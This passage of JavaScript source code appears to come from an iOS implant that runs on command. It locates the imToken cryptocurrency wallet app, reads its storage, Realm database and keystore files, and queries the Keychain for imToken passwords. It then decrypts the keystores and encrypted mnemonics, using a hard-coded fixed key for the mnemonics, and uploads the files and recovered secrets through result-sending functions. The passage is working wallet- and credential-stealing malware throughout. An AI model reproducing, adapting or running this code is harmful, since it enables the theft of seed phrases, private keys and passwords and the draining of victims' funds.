Number(Native.readPtr(writtenBuf));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", writtenBuf);\n\tif (rc !== 0 || written < 16) { Native.callSymbol(\"free\", outBuf); return null; }\n\tvar result = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", outBuf);\n\treturn result;\n}\n\nfunction _aesCtrDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tif (!keyBuf) { Native.callSymbol(\"free\", refBuf); return null; }\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t0, 0, 2, keyBuf, BigInt(keyBytes.length), 0n, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar counter = new Uint8Array(16);\n\t\tfor (var i = 0; i < 16 && i < ivBytes.length; i++) counter[i] = ivBytes[i];\n\t\tvar output = new Uint8Array(cipherBytes.length);\n\t\tfor (var off = 0; off < cipherBytes.length; off += 16) {\n\t\t\tvar ks = _aesEcbEncryptBlock(ref, counter);\n\t\t\tif (!ks) return null;\n\t\t\tvar remain = cipherBytes.length - off;\n\t\t\tvar len = remain < 16 ? remain : 16;\n\t\t\tfor (var j = 0; j < len; j++) output[off + j] = cipherBytes[off + j] ^ ks[j];\n\t\t\tfor (var ci = 15; ci >= 0; ci--) {\n\t\t\t\tcounter[ci] = (counter[ci] + 1) & 0xff;\n\t\t\t\tif (counter[ci] !== 0) break;\n\t\t\t}\n\t\t}\n\t\treturn output;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _aesCbcDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tvar ivBuf = Native.callSymbol(\"malloc\", BigInt(ivBytes.length));\n\tif (!keyBuf || !ivBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (ivBuf) Native.callSymbol(\"free\", ivBuf);\n\t\tNative.callSymbol(\"free\", refBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tNative.write(ivBuf, ivBytes.buffer ? ivBytes.buffer : ivBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t1, 0, 0, keyBuf, BigInt(keyBytes.length), ivBuf, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", ivBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(cipherBytes.length));\n\t\tvar outBuf = Native.callSymbol(\"calloc\", 1n, BigInt(cipherBytes.length + 16));\n\t\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\t\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\t\treturn null;\n\t\t}\n\t\tNative.write(inBuf, cipherBytes.buffer ? cipherBytes.buffer : cipherBytes);\n\t\tNative.write64(writtenBuf, 0n);\n\t\trc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\t\tref, inBuf, BigInt(cipherBytes.length), outBuf, BigInt(cipherBytes.length + 16), writtenBuf));\n\t\tvar written = Number(Native.readPtr(writtenBuf));\n\t\tNative.callSymbol(\"free\", inBuf);\n\t\tNative.callSymbol(\"free\", writtenBuf);\n\t\tif (rc !== 0) { Native.callSymbol(\"free\", outBuf); return null; }\n\t\tvar result = new Uint8Array(Native.read(outBuf, written));\n\t\tNative.callSymbol(\"free\", outBuf);\n\t\treturn result;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _hexToBytes(hex) {\n\tvar bytes = new Uint8Array(hex.length / 2);\n\tfor (var i = 0; i < hex.length; i += 2) {\n\t\tbytes[i / 2] = parseInt(hex.substring(i, i + 2), 16);\n\t}\n\treturn bytes;\n}\n\nfunction _bytesToHex(bytes) {\n\tvar hex = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\thex += (bytes[i] < 16 ? \"0\" : \"\") + bytes[i].toString(16);\n\t}\n\treturn hex;\n}\n\n// ============================================================================\n// RCTAsyncLocalStorage Reader\n// ============================================================================\n\nfunction _readAsyncStorageManifest(storagePath) {\n\tvar mpath = storagePath + \"/manifest.json\";\n\tvar bytes = _readFileBytes(mpath, 4 * 1024 * 1024);\n\tif (!bytes || bytes.length === 0) return null;\n\ttry {\n\t\tvar json = JSON.parse(_rawToStr(bytes));\n\t\tvar result = {};\n\t\tfor (var key in json) {\n\t\t\tif (!json.hasOwnProperty(key)) continue;\n\t\t\tvar val = json[key];\n\t\t\tif (typeof val === \"string\") {\n\t\t\t\tresult[key] = val;\n\t\t\t} else if (val && typeof val === \"object\") {\n\t\t\t\tvar fpath = storagePath + \"/\" + key;\n\t\t\t\tvar fb = _readFileBytes(fpath, 8 * 1024 * 1024);\n\t\t\t\tif (fb && fb.length > 0) result[key] = _rawToStr(fb);\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t} catch (e) { return null; }\n}\n\nfunction _readAsyncStorageSqlite(storagePath) {\n\tvar dbNames = [\"RCTAsyncLocalStorage_V1\", \"asyncstorage.db\", \"RCTAsyncLocalStorage\"];\n\tvar result = null;\n\tfor (var di = 0; di < dbNames.length; di++) {\n\t\tvar dbPath = storagePath + \"/\" + dbNames[di];\n\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) {\n\t\t\tdbPath = storagePath.replace(/\\/RCTAsyncLocalStorage_V1$/, \"\") + \"/\" + dbNames[di];\n\t\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) continue;\n\t\t}\n\t\tvar tables = _sqliteQuery(dbPath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (!tables || !tables.rows.length) continue;\n\t\tvar tableName = null;\n\t\tfor (var ti = 0; ti < tables.rows.length; ti++) {\n\t\t\tvar tn = tables.rows[ti].name;\n\t\t\tif (tn === \"catalystLocalStorage\" || tn === \"key_value\" ||\n\t\t\t\ttn === \"keyvaluestore\" || tn === \"cache\") {\n\t\t\t\ttableName = tn;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (!tableName) tableName = tables.rows[0].name;\n\t\tvar data = _sqliteQuery(dbPath, \"SELECT * FROM \\\"\" + tableName + \"\\\"\");\n\t\tif (!data || !data.rows.length) continue;\n\t\tresult = {};\n\t\tvar kCol = data.columns.indexOf(\"key\") >= 0 ? \"key\" : data.columns[0];\n\t\tvar vCol = data.columns.indexOf(\"value\") >= 0 ? \"value\" : data.columns[1];\n\t\tfor (var ri = 0; ri < data.rows.length; ri++) {\n\t\t\tresult[data.rows[ri][kCol]] = data.rows[ri][vCol];\n\t\t}\n\t\tbreak;\n\t}\n\treturn result;\n}\n\nfunction _readAsyncStorage(containerPath, subPath) {\n\tvar storagePath = containerPath + \"/\" + subPath;\n\tvar st = _statFile(storagePath);\n\tif (!st) return null;\n\tif (st.isDir) {\n\t\tvar res = _readAsyncStorageManifest(storagePath);\n\t\tif (res) return res;\n\t\treturn _readAsyncStorageSqlite(storagePath);\n\t}\n\tif (st.isFile) {\n\t\tvar r = _sqliteQuery(storagePath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (r && r.rows.length) {\n\t\t\tvar result = {};\n\t\t\tfor (var ti = 0; ti < r.rows.length; ti++) {\n\t\t\t\tvar d = _sqliteQuery(storagePath, \"SELECT * FROM \\\"\" + r.rows[ti].name + \"\\\"\");\n\t\t\t\tif (!d || !d.rows.length) continue;\n\t\t\t\tvar kCol = d.columns.indexOf(\"key\") >= 0 ? \"key\" : d.columns[0];\n\t\t\t\tvar vCol = d.columns.indexOf(\"value\") >= 0 ? \"value\" : d.columns[1];\n\t\t\t\tfor (var ri = 0; ri < d.rows.length; ri++) {\n\t\t\t\t\tresult[d.rows[ri][kCol]] = d.rows[ri][vCol];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}\n\treturn null;\n}\n\n// ============================================================================\n// Keystore V3 Decryption (scrypt/PBKDF2 + AES-CTR)\n// ============================================================================\n\nfunction _decryptKeystoreV3(crypto, password) {\n\tif (!crypto || !password) return null;\n\tvar kdfparams = crypto.kdfparams;\n\tvar cipherparams = crypto.cipherparams;\n\tvar ciphertextHex = crypto.ciphertext;\n\tif (!kdfparams || !cipherparams || !ciphertextHex) return null;\n\n\tvar salt = _hexToBytes(kdfparams.salt);\n\tvar dkLen = kdfparams.dklen || 32;\n\tvar derivedKey = null;\n\n\tif (crypto.kdf === \"pbkdf2\") {\n\t\tvar iters = kdfparams.c || 262144;\n\t\tderivedKey = _pbkdf2(password, salt, iters, dkLen);\n\t} else {\n\t\treturn { error: \"scrypt_not_supported_on_device\", kdf: crypto.kdf };\n\t}\n\tif (!derivedKey) return { error: \"kdf_failed\" };\n\n\tvar ciphertext = _hexToBytes(ciphertextHex);\n\tvar iv = _hexToBytes(cipherparams.iv);\n\n\t// MAC verification: SHA256(derivedKey[16:32] + ciphertext) should match crypto.mac\n\tif (crypto.mac) {\n\t\tvar macInput = new Uint8Array(16 + ciphertext.length);\n\t\tmacInput.set(derivedKey.slice(16, 32), 0);\n\t\tmacInput.set(ciphertext, 16);\n\t\tvar computedMac = _sha256(macInput);\n\t\tif (computedMac && _bytesToHex(computedMac) !== crypto.mac) {\n\t\t\treturn { error: \"mac_mismatch\" };\n\t\t}\n\t}\n\n\tvar cipher = (crypto.cipher || \"aes-128-ctr\").toLowerCase();\n\tvar encKey = derivedKey.slice(0, 16);\n\tvar decrypted = null;\n\tif (cipher === \"aes-128-ctr\") {\n\t\tdecrypted = _aesCtrDecrypt(encKey, iv, ciphertext);\n\t} else if (cipher === \"aes-128-cbc\") {\n\t\tdecrypted = _aesCbcDecrypt(encKey, iv, ciphertext);\n\t}\n\tif (!decrypted) return { error: \"decrypt_failed\" };\n\n\ttry {\n\t\tvar str = \"\";\n\t\tfor (var i = 0; i < decrypted.length; i++) {\n\t\t\tif (decrypted[i] === 0) break;\n\t\t\tstr += String.fromCharCode(decrypted[i]);\n\t\t}\n\t\treturn { plaintext: str };\n\t} catch (e) { return { error: \"decode_failed: \" + e }; }\n}\n\n// EncryptedMessage format (fixed key AES-CTR)\nfunction _decryptEncryptedMessage(encObj, fixedKeyHex) {\n\tif (!encObj || !encObj.encStr || !encObj.nonce) return null;\n\tvar key = _hexToBytes(fixedKeyHex);\n\tvar iv = _hexToBytes(encObj.nonce);\n\tvar ciphertext = _hexToBytes(encObj.encStr);\n\tvar plainBytes = _aesCtrDecrypt(key, iv, ciphertext);\n\tif (!plainBytes) return null;\n\tvar str = \"\";\n\tfor (var i = 0; i < plainBytes.length; i++) {\n\t\tif (plainBytes[i] === 0) break;\n\t\tstr += String.fromCharCode(plainBytes[i]);\n\t}\n\treturn str;\n}\n\n// ============================================================================\n// Keychain Password Extraction (SecItemCopyMatching)\n// ============================================================================\n\nvar _securityLoaded = false;\nfunction _ensureSecurity() {\n\tif (_securityLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/Security.framework/Security\", 1);\n\tif (!h || h === 0n) return false;\n\t_securityLoaded = true;\n\treturn true;\n}\n\nfunction _cfStr(s) {\n\treturn Native.callSymbol(\"CFStringCreateWithCString\", 0n, s, 0x08000100);\n}\nfunction _cfRelease(ref) {\n\tif (ref && ref !== 0n) Native.callSymbol(\"CFRelease\", ref);\n}\nfunction _cfStringToJS(cfStr) {\n\tif (!cfStr || cfStr === 0n) return null;\n\tvar cstr = Native.callSymbol(\"CFStringGetCStringPtr\", cfStr, 0x08000100);\n\tif (cstr && cstr !== 0n) {\n\t\treturn Native.readString(cstr, 4096).replace(/\\0/g, \"\");\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", 4096);\n\tif (!buf || buf === 0n) return null;\n\tif (Native.callSymbol(\"CFStringGetCString\", cfStr, buf, 4096, 0x08000100)) {\n\t\tvar s = Native.readString(buf, 4096).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", buf);\n\t\treturn s;\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn null;\n}\nfunction _cfDataToBytes(cfData) {\n\tif (!cfData || cfData === 0n) return null;\n\tvar len = Number(Native.callSymbol(\"CFDataGetLength\", cfData));\n\tif (len <= 0) return null;\n\tvar ptr = Native.callSymbol(\"CFDataGetBytePtr\", cfData);\n\tif (!ptr || ptr === 0n) return null;\n\treturn new Uint8Array(Native.read(ptr, len));\n}\n\nfunction _searchKeychain(service, account, accessGroup) {\n\tif (!_ensureSecurity()) return null;\n\tNative.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\tvar kSecClass = Native.callSymbol(\"dlsym\", -2n, \"kSecClass\");\n\tvar kSecClassGenericPassword = Native.callSymbol(\"dlsym\", -2n, \"kSecClassGenericPassword\");\n\tvar kSecAttrService = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrService\");\n\tvar kSecAttrAccount = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrAccount\");\n\tvar kSecReturnData = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnData\");\n\tvar kSecReturnAttributes = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnAttributes\");\n\tvar kSecMatchLimit = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimit\");\n\tvar kSecMatchLimitAll = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimitAll\");\n\tvar kCFBooleanTrue = Native.callSymbol(\"dlsym\", -2n, \"kCFBooleanTrue\");\n\n\tif (!kSecClass || kSecClass === 0n) return null;\n\n\tvar svcCF = 0n, acctCF = 0n;\n\ttry {\n\t\tvar keys = [];\n\t\tvar vals = [];\n\n\t\tkeys.push(Native.readPtr(kSecClass));\n\t\tvals.push(Native.readPtr(kSecClassGenericPassword));\n\t\tkeys.push(Native.readPtr(kSecReturnData));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecReturnAttributes));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecMatchLimit));\n\t\tvals.push(Native.readPtr(kSecMatchLimitAll));\n\n\t\tif (service) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrService));\n\t\t\tsvcCF = _cfStr(service);\n\t\t\tvals.push(svcCF);\n\t\t}\n\t\tif (account) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrAccount));\n\t\t\tacctCF = _cfStr(account);\n\t\t\tvals.push(acctCF);\n\t\t}\n\n\t\tvar nItems = keys.length;\n\t\tvar keysBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tvar valsBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tif (!keysBuf || keysBuf === 0n || !valsBuf || valsBuf === 0n) {\n\t\t\tif (keysBuf && keysBuf !== 0n) Native.callSymbol(\"free\", keysBuf);\n\t\t\tif (valsBuf && valsBuf !== 0n) Native.callSymbol(\"free\", valsBuf);\n\t\t\treturn null;\n\t\t}\n\t\tfor (var i = 0; i < nItems; i++) {\n\t\t\tNative.write64(keysBuf + BigInt(i * 8), keys[i]);\n\t\t\tNative.write64(valsBuf + BigInt(i * 8), vals[i]);\n\t\t}\n\n\t\tvar queryDict = Native.callSymbol(\"CFDictionaryCreate\", 0n,\n\t\t\tkeysBuf, valsBuf, nItems, 0n, 0n);\n\t\tNative.callSymbol(\"free\", keysBuf);\n\t\tNative.callSymbol(\"free\", valsBuf);\n\n\t\tif (!queryDict || queryDict === 0n) return null;\n\n\t\tvar resultPtr = Native.callSymbol(\"malloc\", 8);\n\t\tNative.write64(resultPtr, 0n);\n\t\tvar status = Number(Native.callSymbol(\"SecItemCopyMatching\", queryDict, resultPtr));\n\t\tvar resultRef = Native.readPtr(resultPtr);\n\t\tNative.callSymbol(\"free\", resultPtr);\n\t\t_cfRelease(queryDict);\n\n\t\tif (status !== 0 || !resultRef || resultRef === 0n) return null;\n\n\t\tvar results = [];\n\t\ttry {\n\t\t\tvar count = Number(Native.callSymbol(\"CFArrayGetCount\", resultRef));\n\t\t\tvar kSecValueData = Native.callSymbol(\"dlsym\", -2n, \"kSecValueData\");\n\t\t\tvar kSecValueDataVal = kSecValueData && kSecValueData !== 0n ? Native.readPtr(kSecValueData) : 0n;\n\t\t\tvar svcKeyVal = Native.readPtr(kSecAttrService);\n\t\t\tvar acctKeyVal = Native.readPtr(kSecAttrAccount);\n\n\t\t\tfor (var idx = 0; idx < count && idx < 50; idx++) {\n\t\t\t\tvar item = Native.callSymbol(\"CFArrayGetValueAtIndex\", resultRef, idx);\n\t\t\t\tif (!item || item === 0n) continue;\n\t\t\t\ttry {\n\t\t\t\t\tvar entry = {};\n\t\t\t\t\tvar sv = Native.callSymbol(\"CFDictionaryGetValue\", item, svcKeyVal);\n\t\t\t\t\tif (sv && sv !== 0n) entry.service = _cfStringToJS(sv);\n\t\t\t\t\tvar av = Native.callSymbol(\"CFDictionaryGetValue\", item, acctKeyVal);\n\t\t\t\t\tif (av && av !== 0n) entry.account = _cfStringToJS(av);\n\t\t\t\t\tif (kSecValueDataVal && kSecValueDataVal !== 0n) {\n\t\t\t\t\t\tvar dv = Native.callSymbol(\"CFDictionaryGetValue\", item, kSecValueDataVal);\n\t\t\t\t\t\tif (dv && dv !== 0n) {\n\t\t\t\t\t\t\tvar dataBytes = _cfDataToBytes(dv);\n\t\t\t\t\t\t\tif (dataBytes) {\n\t\t\t\t\t\t\t\tvar dataStr = \"\";\n\t\t\t\t\t\t\t\tfor (var di = 0; di < dataBytes.length; di++)\n\t\t\t\t\t\t\t\t\tdataStr += String.fromCharCode(dataBytes[di]);\n\t\t\t\t\t\t\t\tentry.data = dataStr;\n\t\t\t\t\t\t\t\tentry.data_hex = _bytesToHex(dataBytes);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tresults.push(entry);\n\t\t\t\t} catch (itemErr) {}\n\t\t\t}\n\t\t} finally { _cfRelease(resultRef); }\n\t\treturn results;\n\t} finally {\n\t\tif (svcCF && svcCF !== 0n) _cfRelease(svcCF);\n\t\tif (acctCF && acctCF !== 0n) _cfRelease(acctCF);\n\t}\n}\n\nfunction _findImtokenKeychainPassword() {\n\ttry {\n\t\tvar candidates = [];\n\t\tvar services = [\"im.token.app\", \"imToken\", \"imtoken\", \"token.im\"];\n\t\tfor (var si = 0; si < services.length; si++) {\n\t\t\ttry {\n\t\t\t\tvar items = _searchKeychain(services[si], null, null);\n\t\t\t\tif (items && items.length > 0) {\n\t\t\t\t\tfor (var ii = 0; ii < items.length; ii++) {\n\t\t\t\t\t\titems[ii]._source = \"service:\" + services[si];\n\t\t\t\t\t\tcandidates.push(items[ii]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch (e) {}\n\t\t}\n\t\treturn candidates;\n\t} catch (e) { return []; }\n}\n\n// ============================================================================\n// imToken Wallet Extraction\n// ============================================================================\n\nfunction handleWalletExtract(cmd) {\n\tvar p = cmd.params || {};\n\tvar walletType = p.wallet_type || \"imtoken\";\n\tvar startMs = Date.now();\n\n\tif (walletType === \"imtoken\") {\n\t\t_extractImtoken(cmd, p, startMs);\n\t} else {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"unsupported wallet_type: \" + walletType,\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t}\n}\n\nfunction _extractImtoken(cmd, p, startMs) {\n\ttry {\n\t\tvar kcBytes = _readFileBytes(\"/tmp/imtoken_keychain.json\", 2 * 1024 * 1024);\n\t\tif (kcBytes && kcBytes.byteLength > 10) {\n\t\t\tsendResult(cmd.command_id, bytesToBase64(kcBytes),\n\t\t\t\t\"imtoken_keychain.json\", \"imtoken_keychain\");\n\t\t}\n\t} catch(e) {}\n\n\tvar bundleId = \"im.token.app\";\n\tvar containerPath = _findAppContainer(bundleId);\n\tif (!containerPath) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"imToken container not found\",\n\t\t\twallet_type: \"imtoken\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t\treturn;\n\t}\n\n\tvar storageSub = \"Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1\";\n\tvar data = _readAsyncStorage(containerPath, storageSub);\n\tif (!data) {\n\t\tvar altSub = \"Documents/RCTAsyncLocalStorage_V1\";\n\t\tdata = _readAsyncStorage(containerPath, altSub);\n\t}\n\n\tvar result = {\n\t\tstatus: \"success\",\n\t\twallet_type: \"imtoken\",\n\t\tcontainer: containerPath,\n\t\twallets: [],\n\t\tassets: [],\n\t\traw_keys: [],\n\t\trealm_files: [],\n\t\twallet_dir_files: [],\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_extract\"\n\t};\n\n\t// --- Phase 1: Realm database extraction (primary wallet storage) ---\n\t// imToken stores Realm in Documents/ (primary) or Library/Application Support/\n\tvar realmUploaded = false;\n\tvar realmSearchDirs = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var rdi = 0; rdi < realmSearchDirs.length; rdi++) {\n\t\tif (realmUploaded) break;\n\t\tvar realmDir = realmSearchDirs[rdi];\n\t\ttry {\n\t\t\tvar realmPath = realmDir + \"/default.realm\";\n\t\t\tvar realmSt = _statFile(realmPath);\n\t\t\tif (realmSt && realmSt.isFile && realmSt.size > 0) {\n\t\t\t\tresult.realm_files.push({\n\t\t\t\t\tpath: realmPath, size: realmSt.size\n\t\t\t\t});\n\t\t\t\tvar realmMaxSz = 16 * 1024 * 1024;\n\t\t\t\tif (realmSt.size <= realmMaxSz) {\n\t\t\t\t\tvar realmData = readFileB64(realmPath, realmMaxSz);\n\t\t\t\t\tif (realmData) {\n\t\t\t\t\t\tsendResult(cmd.command_id, realmData.b64,\n\t\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\t\trealmUploaded = true;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tsendFileChunked(cmd.command_id, realmPath,\n\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\trealmUploaded = true;\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (realmErr) {\n\t\t\tresult.realm_error = String(realmErr);\n\t\t}\n\t}\n\n\t// --- Phase 2: Scan walletsV2/ and wallets/ directories for keystore files ---\n\t// These dirs can be in Documents/ or Library/Application Support/im.token.app/\n\tvar walletDirs = [];\n\tvar walletSearchBases = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var wb = 0; wb < walletSearchBases.length; wb++) {\n\t\tvar wbDir = walletSearchBases[wb];\n\t\tvar v2 = wbDir + \"/walletsV2\";\n\t\tvar v1 = wbDir + \"/wallets\";\n\t\tif (_statFile(v2)) walletDirs.push(v2);\n\t\tif (_statFile(v1)) walletDirs.push(v1);\n\t}\n\n\t// Keychain password for decryption attempts\n\tvar keychainPassword = null;\n\tresult.keychain_items = [];\n\ttry {\n\t\tvar keychainItems = _findImtokenKeychainPassword();\n\t\tif (keychainItems && keychainItems.length > 0) {\n\t\t\tfor (var ki = 0; ki < keychainItems.length; ki++) {\n\t\t\t\tresult.keychain_items.push(keychainItems[ki]);\n\t\t\t\tif (!keychainPassword && keychainItems[ki].data &&\n\t\t\t\t\tkeychainItems[ki].data.length >= 4) {\n\t\t\t\t\tkeychainPassword = keychainItems[ki].data;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (kcErr) {\n\t\tresult.keychain_error = String(kcErr);\n\t}\n\tvar password = p.password || keychainPassword;\n\n\tfor (var di = 0; di < walletDirs.length; di++) {\n\t\tvar wdir = walletDirs[di];\n\t\tvar wdirSt = _statFile(wdir);\n\t\tif (!wdirSt || !wdirSt.isDir) continue;\n\t\tvar entries = listDir(wdir);\n\t\tfor (var ei = 0; ei < entries.length; ei++) {\n\t\t\tvar ent = entries[ei];\n\t\t\tvar entPath = wdir + \"/\" + ent.name;\n\t\t\tif (ent.type === \"file\") {\n\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\tdir: di === 0 ? \"walletsV2\" : \"wallets\",\n\t\t\t\t\tname: ent.name\n\t\t\t\t});\n\t\t\t\tvar entSt = _statFile(entPath);\n\t\t\t\tif (entSt && entSt.size > 0 && entSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\tvar fb64 = readFileB64(entPath, 4 * 1024 * 1024);\n\t\t\t\t\tif (fb64) {\n\t\t\t\t\t\tvar fname = (di === 0 ? \"walletsV2_\" : \"wallets_\") + ent.name;\n\t\t\t\t\t\tsendResult(cmd.command_id, fb64.b64,\n\t\t\t\t\t\t\tfname, \"wallet_extract\");\n\t\t\t\t\t}\n\t\t\t\t\t// Parse JSON wallet files and attempt decryption\n\t\t\t\t\tif (ent.name.endsWith(\".json\")) {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tvar fileBytes = _readFileBytes(entPath, 4 * 1024 * 1024);\n\t\t\t\t\t\t\tif (fileBytes) {\n\t\t\t\t\t\t\t\tvar w = JSON.parse(_rawToStr(fileBytes));\n\t\t\t\t\t\t\t\tvar walletInfo = {\n\t\t\t\t\t\t\t\t\tid: w.id || ent.name.replace(\".json\", \"\"),\n\t\t\t\t\t\t\t\t\tname: (w.imTokenMeta && w.imTokenMeta.name) || \"\",\n\t\t\t\t\t\t\t\t\tsource: (w.imTokenMeta && w.imTokenMeta.source) || \"\",\n\t\t\t\t\t\t\t\t\tnetwork: (w.imTokenMeta && w.imTokenMeta.network) || \"\",\n\t\t\t\t\t\t\t\t\tversion: w.version || 0,\n\t\t\t\t\t\t\t\t\tfrom_dir: di === 0 ? \"walletsV2\" : \"wallets\"\n\t\t\t\t\t\t\t\t};\n\t\t\t\t\t\t\t\tif (w.crypto) {\n\t\t\t\t\t\t\t\t\twalletInfo.kdf = w.crypto.kdf || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.cipher = w.crypto.cipher || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.keystore_present = true;\n\t\t\t\t\t\t\t\t\tif (password) {\n\t\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(w.crypto, password);\n\t\t\t\t\t\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} catch (decErr) {\n\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_error = String(decErr);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decOrig = _decryptEncryptedMessage(w.encOriginal, fixedKey);\n\t\t\t\t\t\t\t\t\t\tif (decOrig) walletInfo.original_fixed_key = decOrig;\n\t\t\t\t\t\t\t\t\t} catch (origErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_error = String(origErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decMnem = _decryptEncryptedMessage(w.encMnemonic, fixedKey2);\n\t\t\t\t\t\t\t\t\t\tif (decMnem) walletInfo.mnemonic_fixed_key = decMnem;\n\t\t\t\t\t\t\t\t\t} catch (mnemErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_error = String(mnemErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.identity) 